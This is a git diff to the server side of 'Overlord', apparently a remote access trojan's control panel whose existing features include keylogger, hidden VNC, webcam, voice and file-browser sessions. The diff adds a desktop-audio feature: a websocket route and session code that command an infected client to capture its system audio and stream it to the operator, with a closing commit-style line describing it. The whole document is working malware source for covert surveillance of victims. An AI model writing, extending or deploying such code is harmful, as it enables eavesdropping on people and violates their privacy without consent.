b/Overlord-Server/src/server/routes/ws-upgrade-routes.ts index dbb0d03..ef41f9c 100644 --- a/Overlord-Server/src/server/routes/ws-upgrade-routes.ts +++ b/Overlord-Server/src/server/routes/ws-upgrade-routes.ts @@ -247,6 +247,26 @@ export async function handleWsUpgradeRoutes( return new Response("Upgrade failed", { status: 500 }); } + const desktopAudioMatch = url.pathname.match(/^\/api\/clients\/(.+)\/desktop-audio\/ws$/); + if (desktopAudioMatch) { + const user = await authenticateRequest(req); + if (!user) { + return new Response("Unauthorized", { status: 401 }); + } + + if (user.role === "viewer") { + return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); + } + const clientId = desktopAudioMatch[1]; + const denied = checkOperatorAccess(user, clientId, "voice"); + if (denied) return denied; + const ip = server.requestIP(req)?.address || ""; + if (server.upgrade(req, { data: { role: "desktop_audio_viewer", clientId, ip, userRole: user.role, userId: user.userId } })) { + return new Response(); + } + return new Response("Upgrade failed", { status: 500 }); + } + if (req.method === "GET" && url.pathname === "/api/notifications/ws") { const user = await authenticateRequest(req); if (!user) { diff --git a/Overlord-Server/src/server/ws-desktop-audio.ts b/Overlord-Server/src/server/ws-desktop-audio.ts new file mode 100644 index 0000000..e08e5b1 --- /dev/null +++ b/Overlord-Server/src/server/ws-desktop-audio.ts @@ -0,0 +1,117 @@ +import type { ServerWebSocket } from "bun"; +import { v4 as uuidv4 } from "uuid"; +import * as clientManager from "../clientManager"; +import { encodeMessage } from "../protocol"; +import * as sessionManager from "../sessions/sessionManager"; +import type { DesktopAudioViewer, SocketData } from "../sessions/types"; +import { canUserAccessClient } from "../users"; + +function sendDesktopAudioCommand( + clientId: string, + commandType: "desktop_audio_start" | "desktop_audio_stop", + payload: Record, +) { + const target = clientManager.getClient(clientId); + if (!target) return false; + try { + target.ws.send( + encodeMessage({ + type: "command", + commandType: commandType as any, + id: uuidv4(), + payload, + }), + ); + return true; + } catch { + return false; + } +} + +function safeJson(ws: ServerWebSocket, payload: Record) { + try { + ws.send(JSON.stringify(payload)); + } catch { + } +} + +export function handleDesktopAudioViewerOpen(ws: ServerWebSocket) { + const { clientId, userId, userRole } = ws.data; + if (userId !== undefined && userRole && !canUserAccessClient(userId, userRole as any, clientId)) { + ws.close(1008, "Forbidden: client access denied"); + return; + } + const sessionId = uuidv4(); + ws.data.sessionId = sessionId; + const target = clientManager.getClient(clientId); + const session: DesktopAudioViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() }; + sessionManager.addDesktopAudioSession(session); + + safeJson(ws, { type: "ready", sessionId, clientId, clientOnline: !!target }); + if (!target) { + safeJson(ws, { type: "status", status: "offline", reason: "Client is offline" }); + return; + } + + safeJson(ws, { type: "status", status: "ready" }); +} + +export function handleDesktopAudioViewerMessage(ws: ServerWebSocket, raw: string | ArrayBuffer | Uint8Array) { + const { clientId } = ws.data; + if (typeof raw === "string") { + try { + const message = JSON.parse(raw); + if (message?.type === "start") { + const source = typeof message?.source === "string" ? message.source : "system"; + const started = sendDesktopAudioCommand(clientId, "desktop_audio_start", { + source, + sessionId: ws.data.sessionId, + }); + safeJson(ws, { type: "status", status: started ? "connected" : "error" }); + return; + } + if (message?.type === "stop") { + sendDesktopAudioCommand(clientId, "desktop_audio_stop", {}); + safeJson(ws, { type: "status", status: "disconnected" }); + } + } catch { + } + return; + } +} + +export function handleDesktopAudioUplink(clientId: string, payload: any) { + const sessionId = typeof payload?.sessionId === "string" ? payload.sessionId : ""; + const bytes = payload?.data instanceof Uint8Array + ? payload.data + : payload?.data instanceof ArrayBuffer + ? new Uint8Array(payload.data) + : ArrayBuffer.isView(payload?.data) + ? new Uint8Array(payload.data.buffer) + : null; + if (!bytes || bytes.byteLength === 0) return; + + for (const session of sessionManager.getDesktopAudioSessionsByClient(clientId)) { + if (sessionId && session.id !== sessionId) continue; + try { + session.viewer.send(bytes); + } catch { + } + } +} + +export function cleanupDesktopAudioViewer(ws: ServerWebSocket) { + let removedClientId = ws.data.clientId; + for (const [sid, session] of sessionManager.getAllDesktopAudioSessions().entries()) { + if (session.viewer === ws) { + removedClientId = session.clientId; + sessionManager.deleteDesktopAudioSession(sid); + break; + } + } + + const hasViewers = sessionManager.getDesktopAudioSessionsByClient(removedClientId).length > 0; + if (!hasViewers) { + sendDesktopAudioCommand(removedClientId, "desktop_audio_stop", {}); + } +} diff --git a/Overlord-Server/src/sessions/sessionManager.ts b/Overlord-Server/src/sessions/sessionManager.ts index 44eeff5..8259c67 100644 --- a/Overlord-Server/src/sessions/sessionManager.ts +++ b/Overlord-Server/src/sessions/sessionManager.ts @@ -5,6 +5,7 @@ import type { FileBrowserViewer, ProcessViewer, VoiceViewer, + DesktopAudioViewer, NotificationsViewer, KeyloggerViewer, ChatViewer, @@ -36,6 +37,8 @@ const keyloggerSessions = new Map(); const keyloggerSessionsByClient = new Map>(); const voiceSessions = new Map(); const voiceSessionsByClient = new Map>(); +const desktopAudioSessions = new Map(); +const desktopAudioSessionsByClient = new Map>(); const dashboardSessions = new Map(); const chatSessions = new Map(); @@ -440,6 +443,34 @@ export function getAllVoiceSessions(): Map { return voiceSessions; } +export function addDesktopAudioSession(session: DesktopAudioViewer): void { + desktopAudioSessions.set(session.id, session); + addSessionToClientIndex(desktopAudioSessionsByClient, session.clientId, session.id); +} + +export function deleteDesktopAudioSession(sessionId: string): boolean { + const existing = desktopAudioSessions.get(sessionId); + if (!existing) return false; + desktopAudioSessions.delete(sessionId); + removeSessionFromClientIndex(desktopAudioSessionsByClient, existing.clientId, sessionId); + return true; +} + +export function getDesktopAudioSessionsByClient(clientId: string): DesktopAudioViewer[] { + const ids = desktopAudioSessionsByClient.get(clientId); + if (!ids || ids.size === 0) return []; + const sessions: DesktopAudioViewer[] = []; + for (const id of ids) { + const session = desktopAudioSessions.get(id); + if (session) sessions.push(session); + } + return sessions; +} + +export function getAllDesktopAudioSessions(): Map { + return desktopAudioSessions; +} + export function addDashboardSession(session: DashboardViewer): void { dashboardSessions.set(session.id, session); } diff --git a/Overlord-Server/src/sessions/types.ts b/Overlord-Server/src/sessions/types.ts index 90bb769..1c38d7a 100644 --- a/Overlord-Server/src/sessions/types.ts +++ b/Overlord-Server/src/sessions/types.ts @@ -11,6 +11,7 @@ export type SocketRole = | "notifications_viewer" | "keylogger_viewer" | "voice_viewer" + | "desktop_audio_viewer" | "dashboard_viewer" | "chat_viewer"; @@ -79,6 +80,13 @@ export type VoiceViewer = { createdAt: number; }; +export type DesktopAudioViewer = { + id: string; + clientId: string; + viewer: ServerWebSocket; + createdAt: number; +}; + export type ChatViewer = { id: string; viewer: ServerWebSocket; diff --git a/Overlord-Server/src/wsValidation.ts b/Overlord-Server/src/wsValidation.ts index 3e52a6a..f0f6c4f 100644 --- a/Overlord-Server/src/wsValidation.ts +++ b/Overlord-Server/src/wsValidation.ts @@ -1,4 +1,4 @@ -export type SocketRole = "client" | "viewer" | "console_viewer" | "rd_viewer" | "webcam_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "voice_viewer" | "notifications_viewer"; +export type SocketRole = "client" | "viewer" | "console_viewer" | "rd_viewer" | "webcam_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "voice_viewer" | "desktop_audio_viewer" | "notifications_viewer"; const textEncoder = new TextEncoder(); @@ -26,6 +26,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([ "keylog_clear_result", "keylog_delete_result", "voice_uplink", + "desktop_audio_uplink", "webcam_devices", "hvnc_clone_progress", "hvnc_lookup_result",
Listen to the client's system audio (speakers/loopback). Listen-only, no mic.